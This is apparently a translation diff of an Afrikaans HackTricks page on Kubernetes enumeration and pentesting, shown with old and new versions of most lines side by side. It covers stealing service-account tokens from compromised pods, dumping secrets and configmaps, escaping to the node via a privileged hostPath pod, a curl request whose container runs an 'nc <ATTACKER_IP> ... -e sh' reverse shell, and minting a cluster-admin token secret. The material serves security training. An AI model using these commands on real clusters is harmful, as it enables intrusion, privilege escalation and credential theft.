Kontroleer Gateway listeners, toegelate route-namespaces, Route `parentRefs`, hostnames of SNI-matches, filters, backend references, en status conditions soos `Accepted`, `ResolvedRefs`, en `Programmed`. n Route wat deur n shared Gateway aanvaar word, kan n backend blootstel selfs wanneer geen legacy Ingress object bestaan nie.
Moenie net HTTPRoute kontroleer nie. GRPCRoute, TLSRoute, TCPRoute, en UDPRoute kan nie-HTTP services blootstel soos admin ports, brokers, databases, service-mesh gateways, of pass-through TLS backends. Hersien ook `ReferenceGrant` objects vir cross-namespace backend- of certificate references en `BackendTLSPolicy` vir die TLS identity wat die Gateway gebruik wanneer dit aan backend Services koppel. Backend TLS policy is nie op sigself bewys van public reachability nie, maar dit is nuttige evidence wanneer n programmed Gateway route n ready Service bereik met swak, gedeelde, of verkeerde backend identity validation.
### References
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/)
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
- [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/)
- [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/)
- [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/)
- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/)
- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,22 +4,22 @@
## Kubernetes Tokens
As jy toegang tot n masjien gekompromitteer het, mag die gebruiker toegang hê tot n Kubernetes platform. Die token is gewoonlik geleë in n lêer wat aangedui word deur die **env var `KUBECONFIG`** of **binne `~/.kube`**.
As jy toegang tot n masjien gekompromitteer het, kan die gebruiker toegang hê tot n Kubernetes platform. Die token is gewoonlik geleë in n lêer waarna die **env var `KUBECONFIG`** wys of **binne `~/.kube`**.
In hierdie vouer mag jy config-lêers vind met **tokens and configurations to connect to the API server**. In hierdie vouer kan jy ook n cache-vouer vind met inligting wat vroeër herwin is.
In hierdie gids kan jy config files vind met **tokens en configurations om aan die API server te koppel**. In hierdie gids kan jy ook n cache folder vind met inligting wat voorheen herwin is.
As jy n pod binne n kubernetes environment gekompromitteer het, is daar ander plekke waar jy tokens en inligting oor die huidige K8 env kan vind:
### Service Account Tokens
Voordat jy verder gaan, as jy nie weet wat n service in Kubernetes is nie, sou ek voorstel dat jy **volg hierdie link en lees ten minste die inligting oor Kubernetes architecture.**
Voordat ons voortgaan, as jy nie weet wat n service in Kubernetes is nie, stel ek voor dat jy **hierdie link volg en ten minste die inligting oor Kubernetes architecture lees.**
Geneem uit die Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
_“Wanneer jy n pod skep, as jy nie n service account spesifiseer nie, word die_ default _service account outomaties in dieselfde namespace toegewys.”_
**ServiceAccount** is an object managed by Kubernetes en gebruik om n identity te verskaf vir processes wat in n pod loop.\
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
**ServiceAccount** is n object wat deur Kubernetes bestuur word en gebruik word om n identity te voorsien vir processes wat in n pod loop.\
Elke service account het n secret wat daarmee verband hou en hierdie secret bevat n bearer token. Dit is n JSON Web Token (JWT), n method om claims veilig tussen twee parties voor te stel.
Gewoonlik bevat **een** van die directories:
@@ -30,24 +30,24 @@ Gewoonlik bevat **een** van die directories:
die files:
- **ca.crt**: Dit is die ca certificate om kubernetes communications te check
- **namespace**: Dit dui die current namespace aan
- **token**: Dit bevat die **service token** van die current pod.
- **namespace**: Dit dui die huidige namespace aan
- **token**: Dit bevat die **service token** van die huidige pod.
Nou dat jy die token het, kan jy die API server binne die environment variable **`KUBECONFIG`** vind. Vir meer info run `(env | set) | grep -i "kuber|kube`**`"`**
Die service account token word gesign deur die key wat in die file **sa.key** resideer en validated deur **sa.pub**.
Die service account token word gesigned deur die key wat in die file **sa.key** woon en validated deur **sa.pub**.
Default location on **Kubernetes**:
Default location op **Kubernetes**:
- /etc/kubernetes/pki
Default location on **Minikube**:
Default location op **Minikube**:
- /var/lib/localkube/certs
### Hot Pods
_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
_**Hot pods is**_ pods wat n privileged service account token bevat. n Privileged service account token is n token wat permission het om privileged tasks uit te voer soos om secrets te lys, pods te skep, ens.
## RBAC
@@ -55,24 +55,24 @@ As jy nie weet wat **RBAC** is nie, **lees hierdie section**.
## GUI Applications
- **k9s**: n GUI wat n kubernetes cluster vanaf die terminal enumerate. Check die commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` en select all om dan resources in al die namespaces te search.
- **k9s**: n GUI wat n kubernetes cluster vanaf die terminal enumerate. Kyk na die commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Skryf `:namespace` en select all om dan resources in al die namespaces te search.
- **k8slens**: Dit bied n paar free trial days: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
Om n K8s environment te enumerate, benodig jy n paar van hierdie:
Om n K8s environment te enumerate, het jy n paar van hierdie nodig:
- n **valid authentication token**. In die vorige section het ons gesien waar om vir n user token en vir n service account token te search.
- n **valid authentication token**. In die vorige section het ons gesien waar om te search vir n user token en vir n service account token.
- Die **address (**_**https://host:port**_**) van die Kubernetes API**. Dit kan gewoonlik in die environment variables en/of in die kube config file gevind word.
- **Optional**: Die **ca.crt om die API server te verify**. Dit kan op dieselfde plekke gevind word waar die token gevind kan word. Dit is nuttig om die API server certificate te verify, maar met `--insecure-skip-tls-verify` in `kubectl` of `-k` in `curl` sal jy dit nie nodig hê nie.
- **Optional**: Die **ca.crt om die API server te verify**. Dit kan in dieselfde plekke gevind word as waar die token gevind kan word. Dit is nuttig om die API server certificate te verify, maar as jy `--insecure-skip-tls-verify` met `kubectl` of `-k` met `curl` gebruik, sal jy dit nie nodig hê nie.
Met daardie details kan jy **kubernetes enumerate**. As die **API** om een of ander rede **accessible** is via die **Internet**, kan jy eenvoudig daardie info aflaai en die platform vanaf jou host enumerate.
Met daardie details kan jy **kubernetes enumerate**. As die **API** om een of ander rede oor die **Internet** **accessible** is, kan jy net daardie info aflaai en die platform vanaf jou host enumerate.
Gewoonlik is die **API server** egter binne n internal network, daarom sal jy n **tunnel moet create** deur die compromised machine om vanaf jou machine toegang daartoe te kry, of jy kan die **[kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux)** binary **upload**, of **`curl/wget/anything`** gebruik om raw HTTP requests na die API server uit te voer.
Gewoonlik is die **API server egter binne n internal network**, daarom sal jy n **tunnel** deur die gekompromitteerde masjien moet skep om dit vanaf jou masjien te access, of jy kan die [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary **upload**, of **`curl/wget/anything`** gebruik om raw HTTP requests na die API server uit te voer.
### Differences between `list` and `get` verbs
Met **`get`** permissions kan jy inligting kry van spesifieke assets (_`describe` option in `kubectl`_) API:
Met **`get`** permissions kan jy inligting oor spesifieke assets access (_`describe` option in `kubectl`_) API:
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
@@ -91,10 +91,10 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
Hulle open n streaming connection wat jou die volle manifest van n Deployment terugstuur wanneer dit verander (of wanneer n nuwe een geskep word).
Hulle open n streaming connection wat vir jou die volledige manifest van n Deployment terugstuur wanneer dit verander (of wanneer n nuwe een geskep word).
> [!CAUTION]
> Die volgende `kubectl` commands dui net aan hoe om die objects te lys. As jy toegang tot die data wil , moet jy `describe` gebruik in plaas van `get`
> Die volgende `kubectl` commands dui net aan hoe om die objects te lys. As jy toegang tot die data wil verkry, moet jy `describe` gebruik in plaas van `get`
### Using curl
@@ -109,19 +109,19 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> By default kan die pod die **kube-api server** by die domeinnaam **`kubernetes.default.svc`** **toegang** en jy kan die kube-netwerk in **`/etc/resolv.config`** sien, want hier sal jy die adres van die kubernetes DNS server vind (die ".1" van dieselfde reeks is die kube-api endpoint).
> By default kan die pod die **kube-api server** in die domeinnaam **`kubernetes.default.svc`** **toegang** en jy kan die kube-netwerk sien in **`/etc/resolv.config`** aangesien jy hier die adres van die kubernetes DNS server sal vind (die ".1" van dieselfde reeks is die kube-api eindpunt).
### Using kubectl
Met die token en die adres van die API server gebruik jy kubectl of curl om toegang daartoe te kry soos hier aangedui:
Met die token en die adres van die API server kan jy kubectl of curl gebruik om toegang daartoe te kry soos hier aangedui:
By default, The APISERVER kommunikeer met `https://` schema
By default kommunikeer The APISERVER met `https://` schema
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> as daar geen `https://` in url is nie, kan jy `Error Like Bad Request` kry.
> as daar geen `https://` in url is nie, kan jy 'n Error soos Bad Request kry.
Jy kan n [**official kubectl cheatsheet hier**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) vind. Die doel van die volgende afdelings is om op n geordende manier verskillende opsies te bied om die nuwe K8s waartoe jy toegang gekry het, te enumerate en te verstaan.
Jy kan 'n [**official kubectl cheatsheet hier**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) vind. Die doel van die volgende afdelings is om op 'n geordende manier verskillende opsies voor te stel om die nuwe K8s waartoe jy toegang verkry het, te enumerate en te verstaan.
Om die HTTP request te vind wat `kubectl` stuur, kan jy die parameter `-v=8` gebruik
@@ -161,7 +161,7 @@ kubectl config set-credentials USER_NAME \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### Kry Ondersteunde Hulpbronne
### Kry Ondersteunde Resources
Met hierdie inligting sal jy al die dienste ken wat jy kan lys
@@ -174,22 +174,48 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
{{#endtab }}
{{#endtabs }}
### Objekmetadata wat die moeite werd is om na te gaan
### Objek-metadata wat die moeite werd is om te kontroleer
Wanneer jy 'n object kan lees, voer die volledige YAML of JSON uit in plaas daarvan om net op tabel-uitvoer of `describe` staat te maak. Die nuttigste security-konteks is dikwels in generiese object-velde wat oor baie resource-tipes bestaan:
Wanneer jy 'n objek kan lees, voer die volledige YAML of JSON uit in plaas daarvan om net op tabeluitset of `describe` staat te maak. Die nuttigste sekuriteitskonteks is dikwels in generiese objekvelde wat oor baie resoursetipes bestaan:
```bash
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
```
- `metadata.uid`, `name`, `namespace`, `apiVersion` en `kind` identifiseer die presiese object en vermy verwarring tussen objects met dieselfde naam in verskillende namespaces of API groups.
- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind` identifiseer die presiese object en vermy verwarring tussen objects met dieselfde naam in verskillende namespaces of API groups.
- `metadata.labels` en selectors koppel Services, Deployments, ReplicaSets, Pods, NetworkPolicies en automation. Om selectors te volg is dikwels die vinnigste manier om die werklike backend pods vir n Service te identifiseer.
- `metadata.annotations` kan operational context leak soos ingress behavior, cloud load balancer settings, GitOps of Helm metadata, policy exemptions, en service mesh configuration. Hulle behoort nie secrets te bevat nie, maar regte clusters stel dikwels nuttige leidrade daar bloot.
- `metadata.ownerReferences` wys controller lineage. As n Pod besit word deur n ReplicaSet wat besit word deur n Deployment, sal die verander of delete van net die Pod gewoonlik nie die source regstel nie.
- `metadata.annotations` kan operasionele konteks lek soos ingress-gedrag, cloud load balancer settings, GitOps of Helm metadata, policy exemptions, en service mesh configuration. Hulle behoort nie secrets te bevat nie, maar regte clusters stel daar dikwels nuttige leidrade bloot.
- `metadata.ownerReferences` wys controller lineage. As n Pod owned is deur n ReplicaSet wat owned is deur n Deployment, verander of delete van net die Pod los gewoonlik nie die bron op nie.
- `metadata.finalizers` en `metadata.deletionTimestamp` verduidelik resources wat in deletion vassteek en kan cleanup controllers of persistence/disruption tricks onthul.
- `status`, Events, en conditions kan node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials, en controller progress onthul. Hulle is nuttige leidrade, maar audit logs is steeds nodig om te bewys wie n action uitgevoer het.
### Get Current Privileges
### Dynamic Resource Allocation and device evidence
As die cluster GPUs, NICs, FPGAs, of ander specialized hardware gebruik, kyk of Kubernetes Dynamic Resource Allocation (DRA) teenwoordig is. DRA gebruik `resource.k8s.io` objects soos `DeviceClass`, `ResourceSlice`, `ResourceClaim`, en `ResourceClaimTemplate` om beskikbare devices te beskryf en hulle vir Pods te claim. Hierdie objects kan wys watter nodes toegang tot waardevolle hardware kan kry, watter driver dit bestuur, en watter workload n allocation het.
```bash
kubectl api-resources --api-group=resource.k8s.io
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
kubectl get resourceslices.resource.k8s.io 2>/dev/null
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
```
Tydens review, beperk writes tot cluster-geskepte `DeviceClass`- en `ResourceSlice`-objekte tot admins en DRA drivers, en hou `ResourceClaim` / `ResourceClaimTemplate`-regte geskoei op die namespaces wat dit nodig het. Driver-permissions om `ResourceClaim` status te update moet eksplisiet en nou wees. Op nodes word die kubelet PodResources API algemeen blootgestel deur `/var/lib/kubelet/pod-resources/kubelet.sock`; monitoring DaemonSets kan daardie directory mount om toegewese devices te inspekteer, so review daardie Pods soos ander privileged node agents.
### ClusterTrustBundle and add-on certificate trust
Onlangse clusters kan `ClusterTrustBundle`-objekte in die `certificates.k8s.io` API group blootstel. Hulle is cluster-geskepte X.509 trust anchor bundles wat Pods deur projected volumes kan mount. Breë read access word verwag, maar write access is sensitief omdat die verandering van trusted roots webhooks, aggregated APIs, service meshes, en applications wat cluster-distributed CA materiaal verbruik, kan beïnvloed.
```bash
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
```
Tydens review, teken `signerName`, bundle fingerprints, writer identities, projected-volume consumers, en enige trust-distribution controller soos cert-manager trust-manager aan. Behandel `APIService` objects met `insecureSkipTLSVerify: true`, verouderde `caBundle` values, of breë permissions om APIService/webhook trust fields te patch as certificate-trust findings eerder as gewone object inventory.
### Kry Huidige Privileges
{{#tabs }}
{{#tab name="kubectl" }}
@@ -212,7 +238,7 @@ kurl -i -s -k -X $'POST' \
{{#endtab }}
{{#endtabs }}
Nog n manier om jou voorregte na te gaan is deur die tool te gebruik: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Nog n manier om jou privileges te kontroleer is deur die tool te gebruik: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Jy kan meer leer oor **Kubernetes RBAC** in:
@@ -220,13 +246,13 @@ Jy kan meer leer oor **Kubernetes RBAC** in:
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**Sodra jy weet watter voorregte** jy het, kyk na die volgende bladsy om uit te vind **of jy dit kan abuse** om voorregte te eskaleer:
**Sodra jy weet watter privileges** jy het, kyk na die volgende page om uit te vind **of jy dit kan abuse** om privileges te eskaleer:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Kry Ander roles
### Kry Others roles
{{#tabs }}
{{#tab name="kubectl" }}
@@ -244,9 +270,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
{{#endtab }}
{{#endtabs }}
### Kry namespasies
### Kry namespaces
Kubernetes ondersteun **veelvuldige virtuele clusters** wat deur dieselfde fisiese cluster ondersteun word. Hierdie virtuele clusters word **namespaces** genoem.
Kubernetes ondersteun **meervoudige virtuele clusters** wat deur dieselfde fisiese cluster ondersteun word. Hierdie virtuele clusters word **namespaces** genoem.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -262,7 +288,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/
{{#endtab }}
{{#endtabs }}
### Kry secrets
### Kry geheime
{{#tabs }}
{{#tab name="kubectl" }}
@@ -272,7 +298,7 @@ k get secrets -o yaml -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
{{#tab naam="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
@@ -287,7 +313,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f
```
### Kry Diensrekeninge
Soos aan die begin van hierdie bladsy bespreek is, **wanneer 'n pod loop, word 'n diensrekening gewoonlik daaraan toegewys**. Daarom kan die lys van die diensrekeninge, hul toestemmings en waar hulle loop, 'n gebruiker moontlik toelaat om voorregte te eskaleer.
Soos aan die begin van hierdie bladsy bespreek **wanneer 'n pod loop, word 'n diensrekening gewoonlik aan dit toegeken**. Daarom kan die lys van diensrekeninge, hul toestemmings en waar hulle loop, 'n gebruiker toelaat om regte te eskaleer.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -303,7 +329,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
{{#endtab }}
{{#endtabs }}
### Kry Deployments
### Verkry Deployments
Deployments spesifiseer die gewenste toestand vir stateless application workloads. Hulle skep ReplicaSets, en daardie ReplicaSets skep Pods.
@@ -324,7 +350,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
### Kry StatefulSets
StatefulSets bestuur Pods wat stabiele name, geordende rollout-gedrag, en dikwels per-replika persistent volumes nodig het.
StatefulSets bestuur Pods wat stabiele name, geordende rollout-gedrag, en dikwels per-replica volgehoue volumes nodig het.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -341,9 +367,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
{{#endtab }}
{{#endtabs }}
### Kry Pods
### Verkry Pods
Die Pods is die werklike **containers** wat sal **run**.
Die Pods is die werklike **containers** wat sal **loop**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -362,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
### Kry Dienste
Kubernetes **services** word gebruik om **n diens op n spesifieke poort en IP bloot te stel** (wat as load balancer sal optree vir die pods wat eintlik die diens aanbied). Dit is nuttig om te weet waar jy ander services kan vind om te probeer aanval.
Kubernetes **dienste** word gebruik om **n diens op n spesifieke poort en IP bloot te stel** (wat as load balancer sal optree vir die pods wat werklik die diens aanbied). Dit is nuttig om te weet waar jy ander dienste kan vind om aan te val.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -381,7 +407,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
### Kry nodes
Kry al die **nodes gekonfigureer inside die cluster**.
Kry al die **nodes gekonfigureer binne die cluster**.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -397,7 +423,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
{{#endtab }}
{{#endtabs }}
### Verkry DaemonSets
### Kry DaemonSets
**DaemonSets** verseker dat 'n **spesifieke Pod op al die geselekteerde nodes** van die cluster loop. As jy die DaemonSet uitvee, sal die Pods wat daardeur bestuur word ook verwyder word.
@@ -415,9 +441,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
{{#endtab }}
{{#endtabs }}
### Kry Jobs
### Kry Werksgeleenthede
Jobs skep Pods wat loop tot voltooiing. Hulle word algemeen gebruik vir migrasies, backups, batch work, en eenmalige administratiewe take.
Werksgeleenthede skep Pods wat tot voltooiing loop. Hulle word algemeen gebruik vir migrasies, rugsteun, batch-werk, en eenmalige administratiewe take.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -434,9 +460,9 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
{{#endtab }}
{{#endtabs }}
### Kry CronJobs
### Verkry CronJobs
CronJobs gebruik n crontab-agtige skedule om Jobs te skep wat Pods vir taakstyl-uitvoering lanseer.
CronJobs gebruik n crontab-agtige skedule om Jobs te skep wat Pods vir taakstyl-uitvoering begin.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -455,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
### Kry configMap
configMap bevat altyd baie inligting en configfile wat aan apps voorsien wat in die kubernetes loop. Gewoonlik kan jy baie password, secrets, tokens vind wat gebruik word om te koppel en te valideer aan ander interne/eksterne service.
configMap bevat altyd baie inligting en configfile wat aan apps voorsien word wat in kubernetes loop. Gewoonlik kan jy baie passwords, secrets, tokens vind wat gebruik word om te koppel aan en te valideer by ander interne/eksterne diens.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -471,7 +497,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
{{#endtab }}
{{#endtabs }}
### Kry Netwerk Beleide / Cilium Netwerk Beleide
### Verkry Network Policies / Cilium Network Policies
{{#tabs }}
{{#tab name="First Tab" }}
@@ -483,7 +509,7 @@ k get CiliumClusterwideNetworkPolicies
{{#endtab }}
{{#endtabs }}
### Kry Alles / Alles
### Kry Alles / Alle
{{#tabs }}
{{#tab name="kubectl" }}
@@ -493,7 +519,7 @@ k get all
{{#endtab }}
{{#endtabs }}
### **Kry alle resources wat deur helm bestuur word**
### **Kry al die resources wat deur helm bestuur word**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -519,11 +545,11 @@ Aangesien Kubernetes control plane n REST-ful API blootstel, kan jy handgemaa
### Escaping from the pod
As jy nuwe pods kan skep, kan jy dalk van hulle af na die node escape. Om dit te doen moet jy n nuwe pod skep met n yaml file, oorskakel na die geskepte pod en dan chroot in die node se system. Jy kan reeds bestaande pods as verwysing vir die yaml file gebruik, aangesien hulle bestaande images en pathes vertoon.
As jy nuwe pods kan skep, kan jy dalk daaruit na die node escape. Om dit te doen, moet jy n nuwe pod skep met behulp van n yaml file, na die geskepte pod switch en dan chroot in die node se system. Jy kan reeds bestaande pods as reference vir die yaml file gebruik, aangesien hulle bestaande images en pathes vertoon.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> as jy 'n pod op die spesifieke node moet skep, kan jy die volgende command gebruik om labels op die node te kry
> as jy n pod op die spesifieke node moet skep, kan jy die volgende command gebruik om labels op die node te kry
>
> `k get nodes --show-labels`
>
@@ -561,15 +587,15 @@ restartPolicy: Never
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
Na dit skep jy die pod
Daarna skep jy die pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
Nou kan jy soos volg oorskakel na die geskepte pod:
Nou kan jy soos volg na die geskape pod oorskakel
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
En uiteindelik chroot jy in die node se stelsel
En uiteindelik doen jy chroot in die node se system
```bash
chroot /root /bin/bash
```
@@ -621,9 +647,9 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Delete a pod
### Deleteer 'n pod
Delete 'n pod met curl:
Deleteer 'n pod met curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -658,7 +684,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Vee 'n Service Account uit
### Delete a Service Account
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -675,7 +701,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### Skep 'n Rol
### Skep 'n Role
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -693,7 +719,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Skrap n Role
### Vee 'n Role uit
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -728,7 +754,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Vee 'n Role Binding uit
### Vee n Role Binding uit
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -746,7 +772,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### Delete a Secret
### Vee 'n Secret uit
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -763,7 +789,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Verwyder 'n Secret
### Delete a Secret
```bash
CONTROL_PLANE_HOST=""
